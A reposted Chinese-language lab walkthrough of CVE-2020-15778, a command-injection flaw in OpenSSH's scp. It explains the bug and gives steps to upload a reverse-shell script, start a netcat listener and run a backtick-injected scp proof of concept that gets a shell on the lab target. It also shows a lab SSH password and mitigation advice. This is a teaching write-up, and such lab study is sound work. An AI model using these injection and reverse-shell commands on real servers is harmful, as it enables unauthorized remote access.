文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

CVE-2020-15778 OpenSSH命令注入漏洞

2023-10-02 17:10

关注

预备知识
漏洞描述

OpenSSH8.3p1及之前版本中scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。攻击者可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。

OpenSSH简介

OpenSSH是 SSH(Secure SHell) 协议的免费开源实现。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcpftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。

scp命令简介

scp 是安全拷贝协议(Secure Copy Protocol)的缩写,和众多Linux/Unix 使用者所熟知的拷贝(cp)命令一样。scp的使用方式类似于cp 命令,cp命令将一个文件或文件夹从本地操作系统的一个位置(源)拷贝到目标位置(目的),而scp用来将文件或文件夹从网络上的一个主机拷贝到另一个主机当中去。

scp一些基本参数如下:

-B 采取批量模式(避免询问密码或口令)

-C 启用压缩,通过指明-C参数来开启压缩模式。

-c 加密方式,选择在传输过程中用来加密的加密方式 这个选项会被直接传递到ssh。

-F ssh配置,给ssh指定一个用来替代默认配置的配置文件。这个选项会被直接传递到ssh。

-l 限速,限制命令使用的带宽,默认单位是 Kbit/s。

-P 端口,指定需要的连接的远程主机的端口。

注意,这个选项使用的是一个大写的“P”,因为小写的“-p”已经用来保留目标文件的时间和模式相关信息。(ssh命令中使用小写的“-p”来指定目标端口。)

-p 保留文件原来的修改时间,访问时间以及权限模式。

-q 静默模式:不显示来自ssh命令的进度信息,警告和诊断信息。

-r 递归拷贝整个目录。

注意,scp 命令在树形遍历的时候同样会跟随符号连接,复制所连接的文件。

-v 详细模式。scp和ssh将会打印出处理过程中的调试信息。这可以帮助你调试连接、认证和配置方面的问题。

实验目的
scp是secure copy的缩写。在linux系统中,scp用于linux之间复制文件和目录,基于ssh登陆进行安全的远程文件拷贝命令。该命令由openssh的scp.c及其他相关代码实现,通过这次实验你将了解到通过scp进行反弹shell的操作。

实验环境
目标机器:CentOS、IP:10.1.1.200

攻击机器:Kali

实验步骤一
确定目标机器是否存在漏洞,测试ssh与scp的使用情况。


1、目标机器查看ssh版本,是否在OpenSSH 8.3p1及之前

在OpenSSH8.3p1及之前说明存在操作系统命令注入漏洞。

2、攻击机器测试ssh与scp的使用情况:


1.txt中为测试内容,这里显示可以使用:
ssh密码:pA2sw0rb

实验步骤二
使用scp进行反弹shell的操作


首先在攻击机上创建一个linux的可执行的文件,并写入一个反弹shell的命令
                                                      
使用scp命令,把该文件上传到目标机器的/tmp下,在tmp录下任何用户都是拥有读、写、执行的权限
scp RAI.sh root@10.1.1.200:/tmp/RAI.sh

在kali上开启监听

nc -vv -lvvp 5555

使用poc远程执行命令

scp zm.sh root@目标地址:'`sh /tmp/zm.sh`'

可以看到我们的shell已经弹回来了

实验步骤三
简述漏洞原理


使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:

scp Filename user@host:directory/Filename

在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:

scp -t directory/Filename

问题就存在这个地方,也就是如图"scp.c"文件的991行。这个地方未对传入的文件路径进行检测防护,攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时payload将会发送到远程服务器并执行。

修复方案
目前厂商暂未发布修复措施解决此安全问题,等待官方补丁 https://www.openssh.com/

临时修复方案:

1、 加强ssh密码或密钥的保护,周期性更换密码或密钥
2、 使用rsync代替scp

具体实践:

 

 

来源地址:https://blog.csdn.net/yyj1781572/article/details/129964395

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-服务器
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯